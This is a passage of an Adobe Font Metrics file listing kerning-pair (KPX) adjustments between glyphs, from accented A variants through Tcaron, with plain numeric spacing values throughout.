KPX Aacute uring -30
KPX Aacute v -40
KPX Aacute w -30
KPX Aacute y -30
KPX Aacute yacute -30
KPX Aacute ydieresis -30
KPX Abreve C -40
KPX Abreve Cacute -40
KPX Abreve Ccaron -40
KPX Abreve Ccedilla -40
KPX Abreve G -50
KPX Abreve Gbreve -50
KPX Abreve Gcommaaccent -50
KPX Abreve O -40
KPX Abreve Oacute -40
KPX Abreve Ocircumflex -40
KPX Abreve Odieresis -40
KPX Abreve Ograve -40
KPX Abreve Ohungarumlaut -40
KPX Abreve Omacron -40
KPX Abreve Oslash -40
KPX Abreve Otilde -40
KPX Abreve Q -40
KPX Abreve T -90
KPX Abreve Tcaron -90
KPX Abreve Tcommaaccent -90
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -80
KPX Abreve W -60
KPX Abreve Y -110
KPX Abreve Yacute -110
KPX Abreve Ydieresis -110
KPX Abreve u -30
KPX Abreve uacute -30
KPX Abreve ucircumflex -30
KPX Abreve udieresis -30
KPX Abreve ugrave -30
KPX Abreve uhungarumlaut -30
KPX Abreve umacron -30
KPX Abreve uogonek -30
KPX Abreve uring -30
KPX Abreve v -40
KPX Abreve w -30
KPX Abreve y -30
KPX Abreve yacute -30
KPX Abreve ydieresis -30
KPX Acircumflex C -40
KPX Acircumflex Cacute -40
KPX Acircumflex Ccaron -40
KPX Acircumflex Ccedilla -40
KPX Acircumflex G -50
KPX Acircumflex Gbreve -50
KPX Acircumflex Gcommaaccent -50
KPX Acircumflex O -40
KPX Acircumflex Oacute -40
KPX Acircumflex Ocircumflex -40
KPX Acircumflex Odieresis -40
KPX Acircumflex Ograve -40
KPX Acircumflex Ohungarumlaut -40
KPX Acircumflex Omacron -40
KPX Acircumflex Oslash -40
KPX Acircumflex Otilde -40
KPX Acircumflex Q -40
KPX Acircumflex T -90
KPX Acircumflex Tcaron -90
KPX Acircumflex Tcommaaccent -90
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -80
KPX Acircumflex W -60
KPX Acircumflex Y -110
KPX Acircumflex Yacute -110
KPX Acircumflex Ydieresis -110
KPX Acircumflex u -30
KPX Acircumflex uacute -30
KPX Acircumflex ucircumflex -30
KPX Acircumflex udieresis -30
KPX Acircumflex ugrave -30
KPX Acircumflex uhungarumlaut -30
KPX Acircumflex umacron -30
KPX Acircumflex uogonek -30
KPX Acircumflex uring -30
KPX Acircumflex v -40
KPX Acircumflex w -30
KPX Acircumflex y -30
KPX Acircumflex yacute -30
KPX Acircumflex ydieresis -30
KPX Adieresis C -40
KPX Adieresis Cacute -40
KPX Adieresis Ccaron -40
KPX Adieresis Ccedilla -40
KPX Adieresis G -50
KPX Adieresis Gbreve -50
KPX Adieresis Gcommaaccent -50
KPX Adieresis O -40
KPX Adieresis Oacute -40
KPX Adieresis Ocircumflex -40
KPX Adieresis Odieresis -40
KPX Adieresis Ograve -40
KPX Adieresis Ohungarumlaut -40
KPX Adieresis Omacron -40
KPX Adieresis Oslash -40
KPX Adieresis Otilde -40
KPX Adieresis Q -40
KPX Adieresis T -90
KPX Adieresis Tcaron -90
KPX Adieresis Tcommaaccent -90
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -80
KPX Adieresis W -60
KPX Adieresis Y -110
KPX Adieresis Yacute -110
KPX Adieresis Ydieresis -110
KPX Adieresis u -30
KPX Adieresis uacute -30
KPX Adieresis ucircumflex -30
KPX Adieresis udieresis -30
KPX Adieresis ugrave -30
KPX Adieresis uhungarumlaut -30
KPX Adieresis umacron -30
KPX Adieresis uogonek -30
KPX Adieresis uring -30
KPX Adieresis v -40
KPX Adieresis w -30
KPX Adieresis y -30
KPX Adieresis yacute -30
KPX Adieresis ydieresis -30
KPX Agrave C -40
KPX Agrave Cacute -40
KPX Agrave Ccaron -40
KPX Agrave Ccedilla -40
KPX Agrave G -50
KPX Agrave Gbreve -50
KPX Agrave Gcommaaccent -50
KPX Agrave O -40
KPX Agrave Oacute -40
KPX Agrave Ocircumflex -40
KPX Agrave Odieresis -40
KPX Agrave Ograve -40
KPX Agrave Ohungarumlaut -40
KPX Agrave Omacron -40
KPX Agrave Oslash -40
KPX Agrave Otilde -40
KPX Agrave Q -40
KPX Agrave T -90
KPX Agrave Tcaron -90
KPX Agrave Tcommaaccent -90
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -80
KPX Agrave W -60
KPX Agrave Y -110
KPX Agrave Yacute -110
KPX Agrave Ydieresis -110
KPX Agrave u -30
KPX Agrave uacute -30
KPX Agrave ucircumflex -30
KPX Agrave udieresis -30
KPX Agrave ugrave -30
KPX Agrave uhungarumlaut -30
KPX Agrave umacron -30
KPX Agrave uogonek -30
KPX Agrave uring -30
KPX Agrave v -40
KPX Agrave w -30
KPX Agrave y -30
KPX Agrave yacute -30
KPX Agrave ydieresis -30
KPX Amacron C -40
KPX Amacron Cacute -40
KPX Amacron Ccaron -40
KPX Amacron Ccedilla -40
KPX Amacron G -50
KPX Amacron Gbreve -50
KPX Amacron Gcommaaccent -50
KPX Amacron O -40
KPX Amacron Oacute -40
KPX Amacron Ocircumflex -40
KPX Amacron Odieresis -40
KPX Amacron Ograve -40
KPX Amacron Ohungarumlaut -40
KPX Amacron Omacron -40
KPX Amacron Oslash -40
KPX Amacron Otilde -40
KPX Amacron Q -40
KPX Amacron T -90
KPX Amacron Tcaron -90
KPX Amacron Tcommaaccent -90
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -80
KPX Amacron W -60
KPX Amacron Y -110
KPX Amacron Yacute -110
KPX Amacron Ydieresis -110
KPX Amacron u -30
KPX Amacron uacute -30
KPX Amacron ucircumflex -30
KPX Amacron udieresis -30
KPX Amacron ugrave -30
KPX Amacron uhungarumlaut -30
KPX Amacron umacron -30
KPX Amacron uogonek -30
KPX Amacron uring -30
KPX Amacron v -40
KPX Amacron w -30
KPX Amacron y -30
KPX Amacron yacute -30
KPX Amacron ydieresis -30
KPX Aogonek C -40
KPX Aogonek Cacute -40
KPX Aogonek Ccaron -40
KPX Aogonek Ccedilla -40
KPX Aogonek G -50
KPX Aogonek Gbreve -50
KPX Aogonek Gcommaaccent -50
KPX Aogonek O -40
KPX Aogonek Oacute -40
KPX Aogonek Ocircumflex -40
KPX Aogonek Odieresis -40
KPX Aogonek Ograve -40
KPX Aogonek Ohungarumlaut -40
KPX Aogonek Omacron -40
KPX Aogonek Oslash -40
KPX Aogonek Otilde -40
KPX Aogonek Q -40
KPX Aogonek T -90
KPX Aogonek Tcaron -90
KPX Aogonek Tcommaaccent -90
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -80
KPX Aogonek W -60
KPX Aogonek Y -110
KPX Aogonek Yacute -110
KPX Aogonek Ydieresis -110
KPX Aogonek u -30
KPX Aogonek uacute -30
KPX Aogonek ucircumflex -30
KPX Aogonek udieresis -30
KPX Aogonek ugrave -30
KPX Aogonek uhungarumlaut -30
KPX Aogonek umacron -30
KPX Aogonek uogonek -30
KPX Aogonek uring -30
KPX Aogonek v -40
KPX Aogonek w -30
KPX Aogonek y -30
KPX Aogonek yacute -30
KPX Aogonek ydieresis -30
KPX Aring C -40
KPX Aring Cacute -40
KPX Aring Ccaron -40
KPX Aring Ccedilla -40
KPX Aring G -50
KPX Aring Gbreve -50
KPX Aring Gcommaaccent -50
KPX Aring O -40
KPX Aring Oacute -40
KPX Aring Ocircumflex -40
KPX Aring Odieresis -40
KPX Aring Ograve -40
KPX Aring Ohungarumlaut -40
KPX Aring Omacron -40
KPX Aring Oslash -40
KPX Aring Otilde -40
KPX Aring Q -40
KPX Aring T -90
KPX Aring Tcaron -90
KPX Aring Tcommaaccent -90
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -80
KPX Aring W -60
KPX Aring Y -110
KPX Aring Yacute -110
KPX Aring Ydieresis -110
KPX Aring u -30
KPX Aring uacute -30
KPX Aring ucircumflex -30
KPX Aring udieresis -30
KPX Aring ugrave -30
KPX Aring uhungarumlaut -30
KPX Aring umacron -30
KPX Aring uogonek -30
KPX Aring uring -30
KPX Aring v -40
KPX Aring w -30
KPX Aring y -30
KPX Aring yacute -30
KPX Aring ydieresis -30
KPX Atilde C -40
KPX Atilde Cacute -40
KPX Atilde Ccaron -40
KPX Atilde Ccedilla -40
KPX Atilde G -50
KPX Atilde Gbreve -50
KPX Atilde Gcommaaccent -50
KPX Atilde O -40
KPX Atilde Oacute -40
KPX Atilde Ocircumflex -40
KPX Atilde Odieresis -40
KPX Atilde Ograve -40
KPX Atilde Ohungarumlaut -40
KPX Atilde Omacron -40
KPX Atilde Oslash -40
KPX Atilde Otilde -40
KPX Atilde Q -40
KPX Atilde T -90
KPX Atilde Tcaron -90
KPX Atilde Tcommaaccent -90
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -80
KPX Atilde W -60
KPX Atilde Y -110
KPX Atilde Yacute -110
KPX Atilde Ydieresis -110
KPX Atilde u -30
KPX Atilde uacute -30
KPX Atilde ucircumflex -30
KPX Atilde udieresis -30
KPX Atilde ugrave -30
KPX Atilde uhungarumlaut -30
KPX Atilde umacron -30
KPX Atilde uogonek -30
KPX Atilde uring -30
KPX Atilde v -40
KPX Atilde w -30
KPX Atilde y -30
KPX Atilde yacute -30
KPX Atilde ydieresis -30
KPX B A -30
KPX B Aacute -30
KPX B Abreve -30
KPX B Acircumflex -30
KPX B Adieresis -30
KPX B Agrave -30
KPX B Amacron -30
KPX B Aogonek -30
KPX B Aring -30
KPX B Atilde -30
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -40
KPX D Aacute -40
KPX D Abreve -40
KPX D Acircumflex -40
KPX D Adieresis -40
KPX D Agrave -40
KPX D Amacron -40
KPX D Aogonek -40
KPX D Aring -40
KPX D Atilde -40
KPX D V -40
KPX D W -40
KPX D Y -70
KPX D Yacute -70
KPX D Ydieresis -70
KPX D comma -30
KPX D period -30
KPX Dcaron A -40
KPX Dcaron Aacute -40
KPX Dcaron Abreve -40
KPX Dcaron Acircumflex -40
KPX Dcaron Adieresis -40
KPX Dcaron Agrave -40
KPX Dcaron Amacron -40
KPX Dcaron Aogonek -40
KPX Dcaron Aring -40
KPX Dcaron Atilde -40
KPX Dcaron V -40
KPX Dcaron W -40
KPX Dcaron Y -70
KPX Dcaron Yacute -70
KPX Dcaron Ydieresis -70
KPX Dcaron comma -30
KPX Dcaron period -30
KPX Dcroat A -40
KPX Dcroat Aacute -40
KPX Dcroat Abreve -40
KPX Dcroat Acircumflex -40
KPX Dcroat Adieresis -40
KPX Dcroat Agrave -40
KPX Dcroat Amacron -40
KPX Dcroat Aogonek -40
KPX Dcroat Aring -40
KPX Dcroat Atilde -40
KPX Dcroat V -40
KPX Dcroat W -40
KPX Dcroat Y -70
KPX Dcroat Yacute -70
KPX Dcroat Ydieresis -70
KPX Dcroat comma -30
KPX Dcroat period -30
KPX F A -80
KPX F Aacute -80
KPX F Abreve -80
KPX F Acircumflex -80
KPX F Adieresis -80
KPX F Agrave -80
KPX F Amacron -80
KPX F Aogonek -80
KPX F Aring -80
KPX F Atilde -80
KPX F a -20
KPX F aacute -20
KPX F abreve -20
KPX F acircumflex -20
KPX F adieresis -20
KPX F agrave -20
KPX F amacron -20
KPX F aogonek -20
KPX F aring -20
KPX F atilde -20
KPX F comma -100
KPX F period -100
KPX J A -20
KPX J Aacute -20
KPX J Abreve -20
KPX J Acircumflex -20
KPX J Adieresis -20
KPX J Agrave -20
KPX J Amacron -20
KPX J Aogonek -20
KPX J Aring -20
KPX J Atilde -20
KPX J comma -20
KPX J period -20
KPX J u -20
KPX J uacute -20
KPX J ucircumflex -20
KPX J udieresis -20
KPX J ugrave -20
KPX J uhungarumlaut -20
KPX J umacron -20
KPX J uogonek -20
KPX J uring -20
KPX K O -30
KPX K Oacute -30
KPX K Ocircumflex -30
KPX K Odieresis -30
KPX K Ograve -30
KPX K Ohungarumlaut -30
KPX K Omacron -30
KPX K Oslash -30
KPX K Otilde -30
KPX K e -15
KPX K eacute -15
KPX K ecaron -15
KPX K ecircumflex -15
KPX K edieresis -15
KPX K edotaccent -15
KPX K egrave -15
KPX K emacron -15
KPX K eogonek -15
KPX K o -35
KPX K oacute -35
KPX K ocircumflex -35
KPX K odieresis -35
KPX K ograve -35
KPX K ohungarumlaut -35
KPX K omacron -35
KPX K oslash -35
KPX K otilde -35
KPX K u -30
KPX K uacute -30
KPX K ucircumflex -30
KPX K udieresis -30
KPX K ugrave -30
KPX K uhungarumlaut -30
KPX K umacron -30
KPX K uogonek -30
KPX K uring -30
KPX K y -40
KPX K yacute -40
KPX K ydieresis -40
KPX Kcommaaccent O -30
KPX Kcommaaccent Oacute -30
KPX Kcommaaccent Ocircumflex -30
KPX Kcommaaccent Odieresis -30
KPX Kcommaaccent Ograve -30
KPX Kcommaaccent Ohungarumlaut -30
KPX Kcommaaccent Omacron -30
KPX Kcommaaccent Oslash -30
KPX Kcommaaccent Otilde -30
KPX Kcommaaccent e -15
KPX Kcommaaccent eacute -15
KPX Kcommaaccent ecaron -15
KPX Kcommaaccent ecircumflex -15
KPX Kcommaaccent edieresis -15
KPX Kcommaaccent edotaccent -15
KPX Kcommaaccent egrave -15
KPX Kcommaaccent emacron -15
KPX Kcommaaccent eogonek -15
KPX Kcommaaccent o -35
KPX Kcommaaccent oacute -35
KPX Kcommaaccent ocircumflex -35
KPX Kcommaaccent odieresis -35
KPX Kcommaaccent ograve -35
KPX Kcommaaccent ohungarumlaut -35
KPX Kcommaaccent omacron -35
KPX Kcommaaccent oslash -35
KPX Kcommaaccent otilde -35
KPX Kcommaaccent u -30
KPX Kcommaaccent uacute -30
KPX Kcommaaccent ucircumflex -30
KPX Kcommaaccent udieresis -30
KPX Kcommaaccent ugrave -30
KPX Kcommaaccent uhungarumlaut -30
KPX Kcommaaccent umacron -30
KPX Kcommaaccent uogonek -30
KPX Kcommaaccent uring -30
KPX Kcommaaccent y -40
KPX Kcommaaccent yacute -40
KPX Kcommaaccent ydieresis -40
KPX L T -90
KPX L Tcaron -90
KPX L Tcommaaccent -90
KPX L V -110
KPX L W -80
KPX L Y -120
KPX L Yacute -120
KPX L Ydieresis -120
KPX L quotedblright -140
KPX L quoteright -140
KPX L y -30
KPX L yacute -30
KPX L ydieresis -30
KPX Lacute T -90
KPX Lacute Tcaron -90
KPX Lacute Tcommaaccent -90
KPX Lacute V -110
KPX Lacute W -80
KPX Lacute Y -120
KPX Lacute Yacute -120
KPX Lacute Ydieresis -120
KPX Lacute quotedblright -140
KPX Lacute quoteright -140
KPX Lacute y -30
KPX Lacute yacute -30
KPX Lacute ydieresis -30
KPX Lcommaaccent T -90
KPX Lcommaaccent Tcaron -90
KPX Lcommaaccent Tcommaaccent -90
KPX Lcommaaccent V -110
KPX Lcommaaccent W -80
KPX Lcommaaccent Y -120
KPX Lcommaaccent Yacute -120
KPX Lcommaaccent Ydieresis -120
KPX Lcommaaccent quotedblright -140
KPX Lcommaaccent quoteright -140
KPX Lcommaaccent y -30
KPX Lcommaaccent yacute -30
KPX Lcommaaccent ydieresis -30
KPX Lslash T -90
KPX Lslash Tcaron -90
KPX Lslash Tcommaaccent -90
KPX Lslash V -110
KPX Lslash W -80
KPX Lslash Y -120
KPX Lslash Yacute -120
KPX Lslash Ydieresis -120
KPX Lslash quotedblright -140
KPX Lslash quoteright -140
KPX Lslash y -30
KPX Lslash yacute -30
KPX Lslash ydieresis -30
KPX O A -50
KPX O Aacute -50
KPX O Abreve -50
KPX O Acircumflex -50
KPX O Adieresis -50
KPX O Agrave -50
KPX O Amacron -50
KPX O Aogonek -50
KPX O Aring -50
KPX O Atilde -50
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -50
KPX O X -50
KPX O Y -70
KPX O Yacute -70
KPX O Ydieresis -70
KPX O comma -40
KPX O period -40
KPX Oacute A -50
KPX Oacute Aacute -50
KPX Oacute Abreve -50
KPX Oacute Acircumflex -50
KPX Oacute Adieresis -50
KPX Oacute Agrave -50
KPX Oacute Amacron -50
KPX Oacute Aogonek -50
KPX Oacute Aring -50
KPX Oacute Atilde -50
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -50
KPX Oacute X -50
KPX Oacute Y -70
KPX Oacute Yacute -70
KPX Oacute Ydieresis -70
KPX Oacute comma -40
KPX Oacute period -40
KPX Ocircumflex A -50
KPX Ocircumflex Aacute -50
KPX Ocircumflex Abreve -50
KPX Ocircumflex Acircumflex -50
KPX Ocircumflex Adieresis -50
KPX Ocircumflex Agrave -50
KPX Ocircumflex Amacron -50
KPX Ocircumflex Aogonek -50
KPX Ocircumflex Aring -50
KPX Ocircumflex Atilde -50
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -50
KPX Ocircumflex X -50
KPX Ocircumflex Y -70
KPX Ocircumflex Yacute -70
KPX Ocircumflex Ydieresis -70
KPX Ocircumflex comma -40
KPX Ocircumflex period -40
KPX Odieresis A -50
KPX Odieresis Aacute -50
KPX Odieresis Abreve -50
KPX Odieresis Acircumflex -50
KPX Odieresis Adieresis -50
KPX Odieresis Agrave -50
KPX Odieresis Amacron -50
KPX Odieresis Aogonek -50
KPX Odieresis Aring -50
KPX Odieresis Atilde -50
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -50
KPX Odieresis X -50
KPX Odieresis Y -70
KPX Odieresis Yacute -70
KPX Odieresis Ydieresis -70
KPX Odieresis comma -40
KPX Odieresis period -40
KPX Ograve A -50
KPX Ograve Aacute -50
KPX Ograve Abreve -50
KPX Ograve Acircumflex -50
KPX Ograve Adieresis -50
KPX Ograve Agrave -50
KPX Ograve Amacron -50
KPX Ograve Aogonek -50
KPX Ograve Aring -50
KPX Ograve Atilde -50
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -50
KPX Ograve X -50
KPX Ograve Y -70
KPX Ograve Yacute -70
KPX Ograve Ydieresis -70
KPX Ograve comma -40
KPX Ograve period -40
KPX Ohungarumlaut A -50
KPX Ohungarumlaut Aacute -50
KPX Ohungarumlaut Abreve -50
KPX Ohungarumlaut Acircumflex -50
KPX Ohungarumlaut Adieresis -50
KPX Ohungarumlaut Agrave -50
KPX Ohungarumlaut Amacron -50
KPX Ohungarumlaut Aogonek -50
KPX Ohungarumlaut Aring -50
KPX Ohungarumlaut Atilde -50
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -50
KPX Ohungarumlaut X -50
KPX Ohungarumlaut Y -70
KPX Ohungarumlaut Yacute -70
KPX Ohungarumlaut Ydieresis -70
KPX Ohungarumlaut comma -40
KPX Ohungarumlaut period -40
KPX Omacron A -50
KPX Omacron Aacute -50
KPX Omacron Abreve -50
KPX Omacron Acircumflex -50
KPX Omacron Adieresis -50
KPX Omacron Agrave -50
KPX Omacron Amacron -50
KPX Omacron Aogonek -50
KPX Omacron Aring -50
KPX Omacron Atilde -50
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -50
KPX Omacron X -50
KPX Omacron Y -70
KPX Omacron Yacute -70
KPX Omacron Ydieresis -70
KPX Omacron comma -40
KPX Omacron period -40
KPX Oslash A -50
KPX Oslash Aacute -50
KPX Oslash Abreve -50
KPX Oslash Acircumflex -50
KPX Oslash Adieresis -50
KPX Oslash Agrave -50
KPX Oslash Amacron -50
KPX Oslash Aogonek -50
KPX Oslash Aring -50
KPX Oslash Atilde -50
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -50
KPX Oslash X -50
KPX Oslash Y -70
KPX Oslash Yacute -70
KPX Oslash Ydieresis -70
KPX Oslash comma -40
KPX Oslash period -40
KPX Otilde A -50
KPX Otilde Aacute -50
KPX Otilde Abreve -50
KPX Otilde Acircumflex -50
KPX Otilde Adieresis -50
KPX Otilde Agrave -50
KPX Otilde Amacron -50
KPX Otilde Aogonek -50
KPX Otilde Aring -50
KPX Otilde Atilde -50
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -50
KPX Otilde X -50
KPX Otilde Y -70
KPX Otilde Yacute -70
KPX Otilde Ydieresis -70
KPX Otilde comma -40
KPX Otilde period -40
KPX P A -100
KPX P Aacute -100
KPX P Abreve -100
KPX P Acircumflex -100
KPX P Adieresis -100
KPX P Agrave -100
KPX P Amacron -100
KPX P Aogonek -100
KPX P Aring -100
KPX P Atilde -100
KPX P a -30
KPX P aacute -30
KPX P abreve -30
KPX P acircumflex -30
KPX P adieresis -30
KPX P agrave -30
KPX P amacron -30
KPX P aogonek -30
KPX P aring -30
KPX P atilde -30
KPX P comma -120
KPX P e -30
KPX P eacute -30
KPX P ecaron -30
KPX P ecircumflex -30
KPX P edieresis -30
KPX P edotaccent -30
KPX P egrave -30
KPX P emacron -30
KPX P eogonek -30
KPX P o -40
KPX P oacute -40
KPX P ocircumflex -40
KPX P odieresis -40
KPX P ograve -40
KPX P ohungarumlaut -40
KPX P omacron -40
KPX P oslash -40
KPX P otilde -40
KPX P period -120
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX Q comma 20
KPX Q period 20
KPX R O -20
KPX R Oacute -20
KPX R Ocircumflex -20
KPX R Odieresis -20
KPX R Ograve -20
KPX R Ohungarumlaut -20
KPX R Omacron -20
KPX R Oslash -20
KPX R Otilde -20
KPX R T -20
KPX R Tcaron -20
KPX R Tcommaaccent -20
KPX R U -20
KPX R Uacute -20
KPX R Ucircumflex -20
KPX R Udieresis -20
KPX R Ugrave -20
KPX R Uhungarumlaut -20
KPX R Umacron -20
KPX R Uogonek -20
KPX R Uring -20
KPX R V -50
KPX R W -40
KPX R Y -50
KPX R Yacute -50
KPX R Ydieresis -50
KPX Racute O -20
KPX Racute Oacute -20
KPX Racute Ocircumflex -20
KPX Racute Odieresis -20
KPX Racute Ograve -20
KPX Racute Ohungarumlaut -20
KPX Racute Omacron -20
KPX Racute Oslash -20
KPX Racute Otilde -20
KPX Racute T -20
KPX Racute Tcaron -20
KPX Racute Tcommaaccent -20
KPX Racute U -20
KPX Racute Uacute -20
KPX Racute Ucircumflex -20
KPX Racute Udieresis -20
KPX Racute Ugrave -20
KPX Racute Uhungarumlaut -20
KPX Racute Umacron -20
KPX Racute Uogonek -20
KPX Racute Uring -20
KPX Racute V -50
KPX Racute W -40
KPX Racute Y -50
KPX Racute Yacute -50
KPX Racute Ydieresis -50
KPX Rcaron O -20
KPX Rcaron Oacute -20
KPX Rcaron Ocircumflex -20
KPX Rcaron Odieresis -20
KPX Rcaron Ograve -20
KPX Rcaron Ohungarumlaut -20
KPX Rcaron Omacron -20
KPX Rcaron Oslash -20
KPX Rcaron Otilde -20
KPX Rcaron T -20
KPX Rcaron Tcaron -20
KPX Rcaron Tcommaaccent -20
KPX Rcaron U -20
KPX Rcaron Uacute -20
KPX Rcaron Ucircumflex -20
KPX Rcaron Udieresis -20
KPX Rcaron Ugrave -20
KPX Rcaron Uhungarumlaut -20
KPX Rcaron Umacron -20
KPX Rcaron Uogonek -20
KPX Rcaron Uring -20
KPX Rcaron V -50
KPX Rcaron W -40
KPX Rcaron Y -50
KPX Rcaron Yacute -50
KPX Rcaron Ydieresis -50
KPX Rcommaaccent O -20
KPX Rcommaaccent Oacute -20
KPX Rcommaaccent Ocircumflex -20
KPX Rcommaaccent Odieresis -20
KPX Rcommaaccent Ograve -20
KPX Rcommaaccent Ohungarumlaut -20
KPX Rcommaaccent Omacron -20
KPX Rcommaaccent Oslash -20
KPX Rcommaaccent Otilde -20
KPX Rcommaaccent T -20
KPX Rcommaaccent Tcaron -20
KPX Rcommaaccent Tcommaaccent -20
KPX Rcommaaccent U -20
KPX Rcommaaccent Uacute -20
KPX Rcommaaccent Ucircumflex -20
KPX Rcommaaccent Udieresis -20
KPX Rcommaaccent Ugrave -20
KPX Rcommaaccent Uhungarumlaut -20
KPX Rcommaaccent Umacron -20
KPX Rcommaaccent Uogonek -20
KPX Rcommaaccent Uring -20
KPX Rcommaaccent V -50
KPX Rcommaaccent W -40
KPX Rcommaaccent Y -50
KPX Rcommaaccent Yacute -50
KPX Rcommaaccent Ydieresis -50
KPX T A -90
KPX T Aacute -90
KPX T Abreve -90
KPX T Acircumflex -90
KPX T Adieresis -90
KPX T Agrave -90
KPX T Amacron -90
KPX T Aogonek -90
KPX T Aring -90
KPX T Atilde -90
KPX T O -40
KPX T Oacute -40
KPX T Ocircumflex -40
KPX T Odieresis -40
KPX T Ograve -40
KPX T Ohungarumlaut -40
KPX T Omacron -40
KPX T Oslash -40
KPX T Otilde -40
KPX T a -80
KPX T aacute -80
KPX T abreve -80
KPX T acircumflex -80
KPX T adieresis -80
KPX T agrave -80
KPX T amacron -80
KPX T aogonek -80
KPX T aring -80
KPX T atilde -80
KPX T colon -40
KPX T comma -80
KPX T e -60
KPX T eacute -60
KPX T ecaron -60
KPX T ecircumflex -60
KPX T edieresis -60
KPX T edotaccent -60
KPX T egrave -60
KPX T emacron -60
KPX T eogonek -60
KPX T hyphen -120
KPX T o -80
KPX T oacute -80
KPX T ocircumflex -80
KPX T odieresis -80
KPX T ograve -80
KPX T ohungarumlaut -80
KPX T omacron -80
KPX T oslash -80
KPX T otilde -80
KPX T period -80
KPX T r -80
KPX T racute -80
KPX T rcommaaccent -80
KPX T semicolon -40
KPX T u -90
KPX T uacute -90
KPX T ucircumflex -90
KPX T udieresis -90
KPX T ugrave -90
KPX T uhungarumlaut -90
KPX T umacron -90
KPX T uogonek -90
KPX T uring -90
KPX T w -60
KPX T y -60
KPX T yacute -60
KPX T ydieresis -60
KPX Tcaron A -90
KPX Tcaron Aacute -90
KPX Tcaron Abreve -90
KPX Tcaron Acircumflex -90
KPX Tcaron Adieresis -90
KPX Tcaron Agrave -90
KPX Tcaron Amacron -90
KPX Tcaron Aogonek -90
KPX Tcaron Aring -90
KPX Tcaron Atilde -90
KPX Tcaron O -40
KPX Tcaron Oacute -40
KPX Tcaron Ocircumflex -40
KPX Tcaron Odieresis -40
KPX Tcaron Ograve -40
KPX Tcaron Ohungarumlaut -40
KPX Tcaron Omacron -40
KPX Tcaron Oslash -40
KPX Tcaron Otilde -40
KPX Tcaron a -80
KPX Tcaron aacute -80
KPX Tcaron abreve -80
KPX Tcaron acircumflex -80
KPX Tcaron adieresis -80
KPX Tcaron agrave -80
KPX Tcaron amacron -80
KPX Tcaron aogonek -80
KPX Tcaron aring -80
KPX Tcaron atilde -80
KPX Tcaron colon -40
KPX Tcaron comma -80
KPX Tcaron e -60
KPX Tcaron eacute -60
KPX Tcaron ecaron -60
KPX Tcaron ecircumflex -60
KPX Tcaron edieresis -60
KPX Tcaron edotaccent -60
KPX Tcaron egrave -60
KPX Tcaron emacron -60
KPX Tcaron eogonek -60
KPX Tcaron hyphen -120
KPX Tcaron o -80
KPX Tcaron oacute -80
KPX Tcaron ocircumflex -80
KPX Tcaron odieresis -80
KPX Tcaron ograve -80
KPX Tcaron ohungarumlaut -80
KPX Tcaron omacron -80
KPX Tcaron oslash -80
KPX Tcaron otilde -80
KPX Tcaron period -80
KPX Tcaron r -80
KPX Tcaron racute -80
